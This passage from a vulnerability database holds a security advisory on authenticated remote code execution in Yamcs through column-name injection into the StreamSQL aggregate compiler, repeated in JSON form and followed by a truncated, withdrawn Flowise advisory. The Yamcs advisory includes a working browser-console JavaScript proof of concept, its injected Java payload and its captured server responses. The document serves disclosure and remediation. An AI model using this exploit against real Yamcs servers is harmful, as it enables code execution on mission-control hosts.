< S_DOUBLE_QUOTED_IDENTIFIER: "\"" (~["\n","\r","\""])* "\"" >
<S_DOUBLE_QUOTED_IDENTIFIER> {String s1 = token.image; return s1.substring(1, s1.length() - 1);}
ObjectName() (used for column names in CREATE TABLE / CREATE STREAM) accepts this token, and neither org.yamcs.yarch.ColumnDefinition nor TupleDefinition.addColumn validates the characters of a column name (only a duplicate-name check). So CREATE TABLE evil("<arbitrary text>" double, ...) creates a column whose name is attacker-chosen text.
Why the bare-expression compiler is NOT exploitable, but the aggregate compiler IS
The general expression compiler Expression#compile() emits the column identifier in two contexts — a statement-context declaration and the return col<name>; expression. A payload carrying executable statements (;-separated) makes the code after the return unreachable, which Janino rejects ("Statement is unreachable"); a payload without ; cannot carry a side effect. That accidental barrier makes the bare-column path non-exploitable.
The aggregate path is different and exploitable: in SumExpression, both emissions of the column name live inside newData(Tuple tuple) — a void, statement-context method — and getValue() returns the accumulator sum, never the column. There is no expression-context return col<name> and no unconditional return before the injected statements, so a ;-separated, fully reachable payload compiles cleanly.
Reachability: executeSql reaches the aggregate compiler without the bare-path gate
POST /api/archive/{instance}:executeSql → TableApi.executeSql (gate ctx.checkSystemPrivilege(SystemPrivilege.ControlArchiving), TableApi.java:398-399) → ydb.execute(ydb.createStatement(statement)) → SelectExpression.compile().
Crucially, when an aggregate's argument is a plain column (not a computed expression), Yamcs sets aggInputList = null, which skips the bare Expression#compile() of the input expression that would otherwise throw on a ;-laden name:
// org/yamcs/yarch/streamsql/SelectExpression.java:196-215
boolean hasComputations = false;
for (AggregateExpression aggExpr : aggList) {
...
for (Expression expr : aggExpr.children) {
expr.bind(inputDef);
...
if (!(expr instanceof ColumnExpression)) {
hasComputations = true; // only true for sum(y+3)-style computed args
}
}
}
if (!hasComputations) { // sum("<plaincolumn>") => true
aggInputDef = null;
aggInputList = null; // => the bare compile below is skipped
}
...
// compile() (SelectExpression.java:241-252):
if (aggInputList != null) { for (Expression e : aggInputList) caggInputList.add(e.compile()); } // SKIPPED
...
for (AggregateExpression aexpr : aggList) { caggList.add(aexpr.getCompiledAggregate()); } // REACHED -> RCE
So SELECT sum("<malicious column>") FROM <table-with-that-column> reaches getCompiledAggregate() directly. The compiled aggregate's newData() runs for each processed tuple, executing the injected code.
Runtime end-to-end verification (real Yamcs 5.13.0, security enabled, ControlArchiving-only user)
The full chain was confirmed end-to-end against a real, security-enabled Yamcs 5.13.0 server (the official Yamcs quickstart, server banner Yamcs 5.13.0, build 8bf5af6fe227bbf8ead15e60644b7ddbf345d623, instance myproject, YamlAuthModule with enabled: true). Anonymous access was rejected (GET /api/instances → 401), confirming security was actually on. A non-superuser account archiver was created holding only SystemPrivilege.ControlArchiving, and a second account nobody with no privileges.
The injected payload is a benign java.io.File(...).mkdirs() whose path is built from char codes so the StreamSQL column name needs no " or /:
dummy; new java.io.File(new String(new char[]{<codes for the marker path>})).mkdirs(); coldummy=coldummy
For a double column this drives SumExpression.getCompiledAggregate() to generate and compile (real Janino) the following class, whose newData(Tuple) runs per processed row:
package org.yamcs.yarch;
public class AggregateExpressionN implements CompiledAggregateExpression {
double sum;
public void newData(Tuple tuple) {
Double coldummy; new java.io.File(new String(new char[]{...})).mkdirs(); coldummy=coldummy = (Double)tuple.getColumn("dummy; new java.io.File(...).mkdirs(); coldummy=coldummy");
sum+=coldummy; new java.io.File(new String(new char[]{...})).mkdirs(); coldummy=coldummy;
}
public Object getValue() { return sum; }
public void clear() { sum=0; }
}
Positive case — the archiver user (token obtained via POST /auth/token, grant_type=password). GET /api/user confirms "superuser": false, "roles":[{"name":"ArchiverOnly"}], "systemPrivileges":["ControlArchiving"]. Driving the three statements over POST /api/archive/myproject:executeSql:
== CREATE == create table <rnd>("<col>" double, id int, primary key(id))
{ } HTTP 200 # malicious column name accepted, unvalidated
== INSERT == insert into <rnd>(id, "<col>") values(1, 1.0)
{ "columns":[{"name":"inserted","type":"LONG"}],
"rows":[{"values":[{"type":"SINT64","sint64Value":"1"}]}] } HTTP 200
== SELECT SUM == select sum("<col>") from <rnd>
{ "columns":[{"name":"SumExpression0x6fd4b7e1d","type":"DOUBLE"}],
"rows":[{"values":[{"type":"DOUBLE","doubleValue":1.0}]}] } HTTP 200 # aggregate compiled + executed
== marker check on the Yamcs host ==
RCE-CONFIRMED (archiver/ControlArchiving): /tmp/yamcs-rce-sec-<id> created
Negative case — the nobody user (no privileges) against the same endpoint:
== executeSql as nobody ==
{ "code": 403, "type": "ForbiddenException",
"msg": "Missing system privilege 'ControlArchiving'" } HTTP 403
This establishes both halves at runtime: a non-superuser holding only ControlArchiving reaches the compiler and executes injected Java in the Yamcs JVM (the marker directory is created on the host), while a user without the privilege is rejected with 403 at exactly the ControlArchiving check. The select sum(...) compiled SumExpression through the real engine and ran the injected newData() for the inserted row. The trailing coldummy=coldummy is a valid assignment statement in both emission positions, so there is no "unreachable statement" and no "must return a value" — the constraints that block the bare-column path do not apply inside newData.
Reproduction
Pre-condition: an account holding SystemPrivilege.ControlArchiving on the target Yamcs instance. The privilege boundary is both source-confirmed (the ctx.checkSystemPrivilege(SystemPrivilege.ControlArchiving) gate in TableApi.executeSql, TableApi.java:398-399) and runtime-confirmed (a ControlArchiving-only non-superuser succeeds; a user without it gets 403 ForbiddenException "Missing system privilege 'ControlArchiving'").
Step 1 — Trigger code execution via a malicious StreamSQL column name
Open DevTools (F12) → Console as a logged-in operator with ControlArchiving, set INSTANCE, and paste:
// Run in the browser console of a logged-in Yamcs operator holding the ControlArchiving privilege.
// Demonstrates arbitrary JVM code execution on the Yamcs host via a malicious StreamSQL column name.
// Benign proof: creates a marker directory on the host. More destructive OS-command payloads are
// intentionally omitted — do NOT escalate beyond this proof.
const INSTANCE = "myproject"; // <-- set to a real instance name
const API = location.origin + "/api/archive/" + INSTANCE + ":executeSql";
// build `new String(new char[]{..})` so the payload needs no " or /
const jchars = s => "new String(new char[]{" + [...s].map(c => c.charCodeAt(0)).join(",") + "})";
const MARKER = "/tmp/yamcs-rce-poc-" + Date.now(); // marker the injected Java will create
const col = "dummy; new java.io.File(" + jchars(MARKER) + ").mkdirs(); coldummy=coldummy";
const TABLE = "rcepoc_" + Date.now(); // unique table name so re-runs don't collide
const q = s => '"' + s + '"'; // double-quote a StreamSQL identifier
const run = stmt => fetch(API, {
method: "POST", credentials: "include",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ statement: stmt }),
}).then(r => r.text());
(async () => {
console.log("create:", await run(`create table ${TABLE}(${q(col)} double, id int, primary key(id))`));
console.log("insert:", await run(`insert into ${TABLE}(id, ${q(col)}) values(1, 1.0)`));
console.log("select sum (compiles aggregate -> runs newData):", await run(`select sum(${q(col)}) from ${TABLE}`));
console.log(`Now check the Yamcs host: directory ${MARKER} exists => arbitrary code executed (RCE).`);
})();
Expected result: the three statements succeed and the directory /tmp/yamcs-rce-poc-<timestamp> is created on the Yamcs host, demonstrating arbitrary Java execution. (The select compiles SumExpression.getCompiledAggregate() and runs the injected newData() for the inserted row.) Observed against a security-enabled Yamcs 5.13.0 as a ControlArchiving-only user:
create: {}
insert: {"columns":[{"name":"inserted","type":"LONG"}],"rows":[{"values":[{"type":"SINT64","sint64Value":"1"}]}]}
select sum (compiles aggregate -> runs newData): {"columns":[{"name":"SumExpression0x...","type":"DOUBLE"}],"rows":[{"values":[{"type":"DOUBLE","doubleValue":1.0}]}]}
=> /tmp/yamcs-rce-poc-<timestamp> created on the Yamcs host => arbitrary code executed (RCE).
The marker directory is owned by the Yamcs service account (in the quickstart container this appeared as root:root; on a normal deployment it is owned by the Yamcs service user). The marker-directory proof uses java.io.File#mkdirs() as a non-destructive side effect; because the injected code is compiled as ordinary Java inside the Yamcs JVM without a restrictive sandbox, this primitive is sufficient to demonstrate arbitrary Java execution. More destructive OS-command payloads are intentionally omitted.
Suggested Fix
The column identifier must never be interpolated unescaped into generated Java. Options, in order of robustness:
- Do not place the column name in identifier position at all. Generate synthetic identifiers (
col0,col1, …) for input columns and map them to real names only through thetuple.getColumn("...")string argument (which should itself be escaped with the existingValueExpression.escapeJavaString). This removes the entire class of column-name code injection acrossExpression,ColumnExpression, the aggregate expressions, etc. - Validate column identifiers at creation. Reject column names that are not valid identifiers (e.g.
[A-Za-z_][A-Za-z0-9_]*, optionally.-separated for protobuf fields) inCREATE TABLE/CREATE STREAMand inColumnDefinition/TupleDefinition.sanitizeNamemapping only/and-is insufficient. - Sandbox or restrict the Janino compilation so generated StreamSQL expressions cannot access dangerous JDK APIs such as process execution, filesystem, reflection, or class loading — defence-in-depth that also hardens the algorithm/calibrator compilers behind
ChangeMissionDatabase.
Option 1 is recommended; it fixes the root cause for all expression types, not just sum.
Distinction from CVE-2026-44632
This is not a duplicate of CVE-2026-44632 / GHSA-524g-x36v-9wm6. That advisory covers the mission-database algorithm path (JavaExprAlgorithmExecutionFactory), reached through the MDB-override APIs and gated by SystemPrivilege.ChangeMissionDatabase. This report covers a separate StreamSQL expression-compiler path (org.yamcs.yarch.streamsql), reached through POST /api/archive/{instance}:executeSql and gated by a different privilege, SystemPrivilege.ControlArchiving. The 5.13.0 / 5.12.7 fix for CVE-2026-44632 did not touch the StreamSQL compiler, so this entry point remains exploitable at 5.13.0.
This should also not be treated as accepted risk for the algorithm subsystem. StreamSQL is a query language for archive/table/stream operations, not a documented arbitrary-Java extension point; the maintainer's "algorithms are code" residual applies only to the algorithm compilers behind ChangeMissionDatabase. The vulnerable behaviour comes from unescaped column-name interpolation into generated Java source — an implementation flaw, not an intended capability.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.13.1"
},
"package": {
"ecosystem": "Maven",
"name": "org.yamcs:yamcs-core"
},
"ranges": [
{
"events": [
{
"introduced": "5.13.0"
},
{
"fixed": "5.13.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.12.7"
},
"package": {
"ecosystem": "Maven",
"name": "org.yamcs:yamcs-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.12.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55511"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-28T17:06:56Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "## Overview\n\nYamcs compiles StreamSQL expressions to Java on the fly with the Janino `SimpleCompiler` (no restrictive class-loading policy or expression sandbox). When a StreamSQL aggregate such as `sum(...)` is applied to a **column**, the column\u0027s *name* is interpolated **unescaped** into the generated Java source. Because Yamcs accepts arbitrary characters in a double-quoted column identifier and applies no validation when a column is created, an authenticated user with the `ControlArchiving` system privilege can craft a column name that injects arbitrary Java into the compiled aggregate and achieve Remote Code Execution on the Yamcs host via `POST /api/archive/{instance}:executeSql`.\n\nThis is a second, independent Janino-RCE entry point sharing the root cause of CVE-2026-44632 (GHSA-524g-x36v-9wm6). The 5.13.0 / 5.12.7 fix for CVE-2026-44632 hardened only the algorithm-override path (`JavaExprAlgorithmExecutionFactory`, reached via `MdbOverrideApi` and gated by `ChangeMissionDatabase`). The StreamSQL expression compiler (`org.yamcs.yarch.streamsql`) was not addressed and remains exploitable in 5.13.0 via a **different privilege** (`ControlArchiving`).\n\n## Impact\n\nAn authenticated Yamcs user holding `SystemPrivilege.ControlArchiving` can cause Yamcs to compile attacker-controlled Java source through the StreamSQL aggregate expression compiler reachable from `POST /api/archive/{instance}:executeSql`.\n\nThe injected code executes inside the Yamcs server JVM with the privileges of the Yamcs server process, bypassing the Yamcs authorization model. Because this is ordinary Java execution, dangerous JDK APIs such as filesystem access, process execution, reflection, and class loading are reachable unless externally sandboxed. This allows compromise of confidentiality, integrity, and availability of the Yamcs deployment: access to mission data and credentials available to the process, telemetry/archive tampering, denial of service, and lateral movement from the host environment.\n\n`ControlArchiving` is the archive/table/stream management privilege \u2014 distinct from both superuser access and the `ChangeMissionDatabase` privilege used by the previously fixed algorithm-override Janino issue (CVE-2026-44632). Scope is scored as Changed because execution crosses from an authenticated Yamcs API privilege into arbitrary code execution under the server process / host OS authority, outside the privileges granted to the authenticated Yamcs user (consistent with the maintainer\u0027s S:C scoring of the sibling CVE-2026-44632).\n\n## Technical Details\n\n### The sink: unsandboxed Janino compilation of generated Java\n\n`org.yamcs.yarch.streamsql.CompilableAggregateExpression#getCompiledAggregate()` builds a Java source string and compiles it with Janino, with no restrictive ClassLoader and no class/API allowlist:\n\n```java\n// org/yamcs/yarch/streamsql/CompilableAggregateExpression.java:26-50\nString className = \"AggregateExpression\" + counter.incrementAndGet();\nStringBuilder code = new StringBuilder();\ncode.append(\"package org.yamcs.yarch;\\n\")\n .append(\"public class \" + className + \" implements CompiledAggregateExpression {\\n\");\naggregateFillCode_Declarations(code);\ncode.append(\"\\tpublic void newData(Tuple tuple) {\\n\");\naggregateFillCode_newData(code); // \u003c-- attacker-controlled column name lands here\ncode.append(\"\\t}\\n\");\ncode.append(\"\\tpublic Object getValue() {\\n\");\naggregateFillCode_getValue(code);\ncode.append(\"\\t}\\n\");\n...\nSimpleCompiler compiler = new SimpleCompiler(); // generated source is compiled without a restrictive sandbox\ncompiler.cook(code.toString()); // compiles attacker-influenced Java source\n```\n\n### The injection: column name interpolated unescaped\n\n`SumExpression#aggregateFillCode_newData` emits, inside `newData(Tuple tuple)`, a declaration for each input column followed by `sum += col\u003ccolumnName\u003e`:\n\n```java\n// org/yamcs/yarch/streamsql/funct/SumExpression.java:38-42\nprotected void aggregateFillCode_newData(StringBuilder code) throws StreamSqlException {\n fillCode_InputDefVars(inputDef.getColumnDefinitions(), code); // emits the column declaration\n code.append(\"\\t\\tsum+=col\" + children[0].getColumnName()); // emits the column identifier again\n code.append(\";\\n\");\n}\n```\n\n`fillCode_InputDefVars` interpolates the column name into a Java identifier with only `sanitizeName` applied, and again \u2014 raw \u2014 into a `tuple.getColumn(\"...\")` string literal:\n\n```java\n// org/yamcs/yarch/streamsql/Expression.java:134-145\nString javaColIdentifier = \"col\" + sanitizeName(cd.getName());\n...\ncode.append(\"\\t\\t\" + dtype.javaType() + \" \" + javaColIdentifier +\n \" = (\" + dtype.javaType() + \")tuple.getColumn(\\\"\" + cd.getName() + \"\\\");\\n\");\n\n// Expression.java:237-238 \u2014 the ONLY transformation applied to the column name:\nstatic String sanitizeName(String s) {\n return s.replace(\"/\", \"_\").replace(\"-\", \"_\");\n}\n```\n\n`sanitizeName` maps only `/` and `-` to `_`. Every other character \u2014 `;`, spaces, `(` `)` `{` `}` `[` `]`, `=`, `.`, `+`, `,`, digits \u2014 passes through verbatim into the generated Java.\n\nThe exploitable context is the Java **identifier** `col\u003cname\u003e`. The same method also emits the raw column name into a Java string literal used by `tuple.getColumn(\"...\")` (Expression.java:140/144). This string-literal context is not required for the exploit shown here, but it should still be escaped with `ValueExpression.escapeJavaString`, because it is another instance of raw user-controlled text emitted into generated Java source (including Java escape-sequence edge cases) and is therefore an additional source-generation hazard, not a closed surface. (`ValueExpression.escapeJavaString` is correctly applied to *value literals* such as `WHERE x = \u0027...\u0027`; function names are separately whitelisted by `FunctionExpressionFactory`. The unfixed gap is the column **identifier**.)\n\n### Why the column name is fully attacker-controlled\n\nThe StreamSQL grammar accepts any character except newline / CR / double-quote in a double-quoted identifier, and returns the raw inner content:\n\n```\n// org/yamcs/yarch/streamsql/StreamSql.jj:237 and :931\n\u003c S_DOUBLE_QUOTED_IDENTIFIER: \"\\\"\" (~[\"\\n\",\"\\r\",\"\\\"\"])* \"\\\"\" \u003e\n\u003cS_DOUBLE_QUOTED_IDENTIFIER\u003e {String s1 = token.image; return s1.substring(1, s1.length() - 1);}\n```\n\n`ObjectName()` (used for column names in `CREATE TABLE` / `CREATE STREAM`) accepts this token, and neither `org.yamcs.yarch.ColumnDefinition` nor `TupleDefinition.addColumn` validates the characters of a column name (only a duplicate-name check). So `CREATE TABLE evil(\"\u003carbitrary text\u003e\" double, ...)` creates a column whose name is attacker-chosen text.\n\n### Why the bare-expression compiler is NOT exploitable, but the aggregate compiler IS\n\nThe general expression compiler `Expression#compile()` emits the column identifier in two contexts \u2014 a statement-context declaration *and* the `return col\u003cname\u003e;` expression. A payload carrying executable statements (`;`-separated) makes the code after the `return` unreachable, which Janino rejects (\"Statement is unreachable\"); a payload without `;` cannot carry a side effect. That accidental barrier makes the bare-column path non-exploitable.\n\nThe **aggregate** path is different and exploitable: in `SumExpression`, both emissions of the column name live inside `newData(Tuple tuple)` \u2014 a `void`, statement-context method \u2014 and `getValue()` returns the accumulator `sum`, **never** the column. There is no expression-context `return col\u003cname\u003e` and no unconditional `return` before the injected statements, so a `;`-separated, fully reachable payload compiles cleanly.\n\n### Reachability: `executeSql` reaches the aggregate compiler without the bare-path gate\n\n`POST /api/archive/{instance}:executeSql` \u2192 `TableApi.executeSql` (gate `ctx.checkSystemPrivilege(SystemPrivilege.ControlArchiving)`, TableApi.java:398-399) \u2192 `ydb.execute(ydb.createStatement(statement))` \u2192 `SelectExpression.compile()`.\n\nCrucially, when an aggregate\u0027s argument is a **plain column** (not a computed expression), Yamcs sets `aggInputList = null`, which **skips** the bare `Expression#compile()` of the input expression that would otherwise throw on a `;`-laden name:\n\n```java\n// org/yamcs/yarch/streamsql/SelectExpression.java:196-215\nboolean hasComputations = false;\nfor (AggregateExpression aggExpr : aggList) {\n ...\n for (Expression expr : aggExpr.children) {\n expr.bind(inputDef);\n ...\n if (!(expr instanceof ColumnExpression)) {\n hasComputations = true; // only true for sum(y+3)-style computed args\n }\n }\n}\nif (!hasComputations) { // sum(\"\u003cplaincolumn\u003e\") =\u003e true\n aggInputDef = null;\n aggInputList = null; // =\u003e the bare compile below is skipped\n}\n...\n// compile() (SelectExpression.java:241-252):\nif (aggInputList != null) { for (Expression e : aggInputList) caggInputList.add(e.compile()); } // SKIPPED\n...\nfor (AggregateExpression aexpr : aggList) { caggList.add(aexpr.getCompiledAggregate()); } // REACHED -\u003e RCE\n```\n\nSo `SELECT sum(\"\u003cmalicious column\u003e\") FROM \u003ctable-with-that-column\u003e` reaches `getCompiledAggregate()` directly. The compiled aggregate\u0027s `newData()` runs for each processed tuple, executing the injected code.\n\n### Runtime end-to-end verification (real Yamcs 5.13.0, security enabled, `ControlArchiving`-only user)\n\nThe full chain was confirmed end-to-end against a **real, security-enabled Yamcs 5.13.0 server** (the official Yamcs quickstart, server banner `Yamcs 5.13.0, build 8bf5af6fe227bbf8ead15e60644b7ddbf345d623`, instance `myproject`, `YamlAuthModule` with `enabled: true`). Anonymous access was rejected (`GET /api/instances` \u2192 `401`), confirming security was actually on. A non-superuser account `archiver` was created holding **only** `SystemPrivilege.ControlArchiving`, and a second account `nobody` with no privileges.\n\nThe injected payload is a benign `java.io.File(...).mkdirs()` whose path is built from char codes so the StreamSQL column name needs no `\"` or `/`:\n\n```text\ndummy; new java.io.File(new String(new char[]{\u003ccodes for the marker path\u003e})).mkdirs(); coldummy=coldummy\n```\n\nFor a `double` column this drives `SumExpression.getCompiledAggregate()` to generate and compile (real Janino) the following class, whose `newData(Tuple)` runs per processed row:\n\n```java\npackage org.yamcs.yarch;\npublic class AggregateExpressionN implements CompiledAggregateExpression {\n double sum;\n public void newData(Tuple tuple) {\n Double coldummy; new java.io.File(new String(new char[]{...})).mkdirs(); coldummy=coldummy = (Double)tuple.getColumn(\"dummy; new java.io.File(...).mkdirs(); coldummy=coldummy\");\n sum+=coldummy; new java.io.File(new String(new char[]{...})).mkdirs(); coldummy=coldummy;\n }\n public Object getValue() { return sum; }\n public void clear() { sum=0; }\n}\n```\n\nPositive case \u2014 the `archiver` user (token obtained via `POST /auth/token`, `grant_type=password`). `GET /api/user` confirms `\"superuser\": false`, `\"roles\":[{\"name\":\"ArchiverOnly\"}]`, `\"systemPrivileges\":[\"ControlArchiving\"]`. Driving the three statements over `POST /api/archive/myproject:executeSql`:\n\n```text\n== CREATE == create table \u003crnd\u003e(\"\u003ccol\u003e\" double, id int, primary key(id))\n{ } HTTP 200 # malicious column name accepted, unvalidated\n\n== INSERT == insert into \u003crnd\u003e(id, \"\u003ccol\u003e\") values(1, 1.0)\n{ \"columns\":[{\"name\":\"inserted\",\"type\":\"LONG\"}],\n \"rows\":[{\"values\":[{\"type\":\"SINT64\",\"sint64Value\":\"1\"}]}] } HTTP 200\n\n== SELECT SUM == select sum(\"\u003ccol\u003e\") from \u003crnd\u003e\n{ \"columns\":[{\"name\":\"SumExpression0x6fd4b7e1d\",\"type\":\"DOUBLE\"}],\n \"rows\":[{\"values\":[{\"type\":\"DOUBLE\",\"doubleValue\":1.0}]}] } HTTP 200 # aggregate compiled + executed\n\n== marker check on the Yamcs host ==\nRCE-CONFIRMED (archiver/ControlArchiving): /tmp/yamcs-rce-sec-\u003cid\u003e created\n```\n\nNegative case \u2014 the `nobody` user (no privileges) against the same endpoint:\n\n```text\n== executeSql as nobody ==\n{ \"code\": 403, \"type\": \"ForbiddenException\",\n \"msg\": \"Missing system privilege \u0027ControlArchiving\u0027\" } HTTP 403\n```\n\nThis establishes both halves at runtime: a non-superuser holding **only** `ControlArchiving` reaches the compiler and executes injected Java in the Yamcs JVM (the marker directory is created on the host), while a user without the privilege is rejected with `403` at exactly the `ControlArchiving` check. The `select sum(...)` compiled `SumExpression` through the real engine and ran the injected `newData()` for the inserted row. The trailing `coldummy=coldummy` is a valid assignment statement in both emission positions, so there is no \"unreachable statement\" and no \"must return a value\" \u2014 the constraints that block the bare-column path do not apply inside `newData`.\n\n## Reproduction\n\nPre-condition: an account holding `SystemPrivilege.ControlArchiving` on the target Yamcs instance. The privilege boundary is both source-confirmed (the `ctx.checkSystemPrivilege(SystemPrivilege.ControlArchiving)` gate in `TableApi.executeSql`, TableApi.java:398-399) and runtime-confirmed (a `ControlArchiving`-only non-superuser succeeds; a user without it gets `403 ForbiddenException \"Missing system privilege \u0027ControlArchiving\u0027\"`).\n\n### Step 1 \u2014 Trigger code execution via a malicious StreamSQL column name\n\nOpen DevTools (F12) \u2192 Console as a logged-in operator with `ControlArchiving`, set `INSTANCE`, and paste:\n\n```js\n// Run in the browser console of a logged-in Yamcs operator holding the ControlArchiving privilege.\n// Demonstrates arbitrary JVM code execution on the Yamcs host via a malicious StreamSQL column name.\n// Benign proof: creates a marker directory on the host. More destructive OS-command payloads are\n// intentionally omitted \u2014 do NOT escalate beyond this proof.\nconst INSTANCE = \"myproject\"; // \u003c-- set to a real instance name\nconst API = location.origin + \"/api/archive/\" + INSTANCE + \":executeSql\";\n\n// build `new String(new char[]{..})` so the payload needs no \" or /\nconst jchars = s =\u003e \"new String(new char[]{\" + [...s].map(c =\u003e c.charCodeAt(0)).join(\",\") + \"})\";\nconst MARKER = \"/tmp/yamcs-rce-poc-\" + Date.now(); // marker the injected Java will create\nconst col = \"dummy; new java.io.File(\" + jchars(MARKER) + \").mkdirs(); coldummy=coldummy\";\nconst TABLE = \"rcepoc_\" + Date.now(); // unique table name so re-runs don\u0027t collide\nconst q = s =\u003e \u0027\"\u0027 + s + \u0027\"\u0027; // double-quote a StreamSQL identifier\nconst run = stmt =\u003e fetch(API, {\n method: \"POST\", credentials: \"include\",\n headers: { \"Content-Type\": \"application/json\" },\n body: JSON.stringify({ statement: stmt }),\n}).then(r =\u003e r.text());\n\n(async () =\u003e {\n console.log(\"create:\", await run(`create table ${TABLE}(${q(col)} double, id int, primary key(id))`));\n console.log(\"insert:\", await run(`insert into ${TABLE}(id, ${q(col)}) values(1, 1.0)`));\n console.log(\"select sum (compiles aggregate -\u003e runs newData):\", await run(`select sum(${q(col)}) from ${TABLE}`));\n console.log(`Now check the Yamcs host: directory ${MARKER} exists =\u003e arbitrary code executed (RCE).`);\n})();\n```\n\nExpected result: the three statements succeed and the directory `/tmp/yamcs-rce-poc-\u003ctimestamp\u003e` is created on the Yamcs host, demonstrating arbitrary Java execution. (The `select` compiles `SumExpression.getCompiledAggregate()` and runs the injected `newData()` for the inserted row.) Observed against a security-enabled Yamcs 5.13.0 as a `ControlArchiving`-only user:\n\n```text\ncreate: {}\ninsert: {\"columns\":[{\"name\":\"inserted\",\"type\":\"LONG\"}],\"rows\":[{\"values\":[{\"type\":\"SINT64\",\"sint64Value\":\"1\"}]}]}\nselect sum (compiles aggregate -\u003e runs newData): {\"columns\":[{\"name\":\"SumExpression0x...\",\"type\":\"DOUBLE\"}],\"rows\":[{\"values\":[{\"type\":\"DOUBLE\",\"doubleValue\":1.0}]}]}\n=\u003e /tmp/yamcs-rce-poc-\u003ctimestamp\u003e created on the Yamcs host =\u003e arbitrary code executed (RCE).\n```\n\nThe marker directory is owned by the Yamcs service account (in the quickstart container this appeared as `root:root`; on a normal deployment it is owned by the Yamcs service user). The marker-directory proof uses `java.io.File#mkdirs()` as a non-destructive side effect; because the injected code is compiled as ordinary Java inside the Yamcs JVM without a restrictive sandbox, this primitive is sufficient to demonstrate arbitrary Java execution. More destructive OS-command payloads are intentionally omitted.\n\n## Suggested Fix\n\nThe column identifier must never be interpolated unescaped into generated Java. Options, in order of robustness:\n\n1. **Do not place the column name in identifier position at all.** Generate synthetic identifiers (`col0`, `col1`, \u2026) for input columns and map them to real names only through the `tuple.getColumn(\"...\")` string argument (which should itself be escaped with the existing `ValueExpression.escapeJavaString`). This removes the entire class of column-name code injection across `Expression`, `ColumnExpression`, the aggregate expressions, etc.\n2. **Validate column identifiers at creation.** Reject column names that are not valid identifiers (e.g. `[A-Za-z_][A-Za-z0-9_]*`, optionally `.`-separated for protobuf fields) in `CREATE TABLE` / `CREATE STREAM` and in `ColumnDefinition`/`TupleDefinition`. `sanitizeName` mapping only `/` and `-` is insufficient.\n3. **Sandbox or restrict the Janino compilation** so generated StreamSQL expressions cannot access dangerous JDK APIs such as process execution, filesystem, reflection, or class loading \u2014 defence-in-depth that also hardens the algorithm/calibrator compilers behind `ChangeMissionDatabase`.\n\nOption 1 is recommended; it fixes the root cause for all expression types, not just `sum`.\n\n## Distinction from CVE-2026-44632\n\nThis is **not a duplicate** of CVE-2026-44632 / GHSA-524g-x36v-9wm6. That advisory covers the mission-database *algorithm* path (`JavaExprAlgorithmExecutionFactory`), reached through the MDB-override APIs and gated by `SystemPrivilege.ChangeMissionDatabase`. This report covers a separate **StreamSQL expression-compiler** path (`org.yamcs.yarch.streamsql`), reached through `POST /api/archive/{instance}:executeSql` and gated by a *different* privilege, `SystemPrivilege.ControlArchiving`. The 5.13.0 / 5.12.7 fix for CVE-2026-44632 did not touch the StreamSQL compiler, so this entry point remains exploitable at 5.13.0.\n\nThis should also not be treated as accepted risk for the algorithm subsystem. StreamSQL is a query language for archive/table/stream operations, not a documented arbitrary-Java extension point; the maintainer\u0027s \"algorithms are code\" residual applies only to the algorithm compilers behind `ChangeMissionDatabase`. The vulnerable behaviour comes from unescaped column-name interpolation into generated Java source \u2014 an implementation flaw, not an intended capability.",
"id": "GHSA-3g44-3m7x-cgg2",
"modified": "2026-08-28T17:06:56Z",
"published": "2026-08-28T17:06:56Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/yamcs/yamcs/security/advisories/GHSA-3g44-3m7x-cgg2"
},
{
"type": "WEB",
"url": "https://github.com/yamcs/yamcs/commit/8c1070b12c0a6c003903325cb2a1013347e2dbde"
},
{
"type": "WEB",
"url": "https://github.com/yamcs/yamcs/commit/b65a3d78178ba99a58b753feda6ecc3b5a694f13"
},
{
"type": "PACKAGE",
"url": "https://github.com/yamcs/yamcs"
},
{
"type": "WEB",
"url": "https://github.com/yamcs/yamcs/releases/tag/yamcs-5.12.8"
},
{
"type": "WEB",
"url": "https://github.com/yamcs/yamcs/releases/tag/yamcs-5.13.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Yamcs vulnerable to authenticated RCE via StreamSQL aggregate-compiler column-name injection in Yamcs `executeSql`"
}
GHSA-3G4J-R53P-22WX
Vulnerability from github – Published: 2025-10-17 18:31 – Updated: 2025-10-17 20:22Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-7944-7c6r-55vv. This link is maintained to preserve external references.
Original Description
Flowise through v3.0.4 is vulnerable to remote code execution via unsanitized evaluation of user input in the "Supabase RPC Filter" field.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "flowise"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.5"
},
{
"fixed": "3.0.6"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"3.0.5"
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2025-10-17T20:22:08Z",
"nvd_published_at": "2025-10-17T18:15:37Z",
"severity": "CRITICAL"
},
"details": "### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-7944-7c6r-55vv. This link is maintained to preserve external references.\n\n### Original Description\nFlowise through v3.0.4 is vulnerable to remote code execution via unsanitized evaluation of user input in the \"Supabase RPC Filter\" field.",
"id": "GHSA-3g4j-r53p-22wx",
"modified": "2025-10-17T20:22:08Z",
"published": "2025-10-17T18:31:09Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-7944-7c6r-55vv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-57164"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/blob/main/packages/components/nodes/vectorstores/Supabase/Supabase.ts#L237"
}
],
"schema_version": "1.4.0",
"severity": [
{
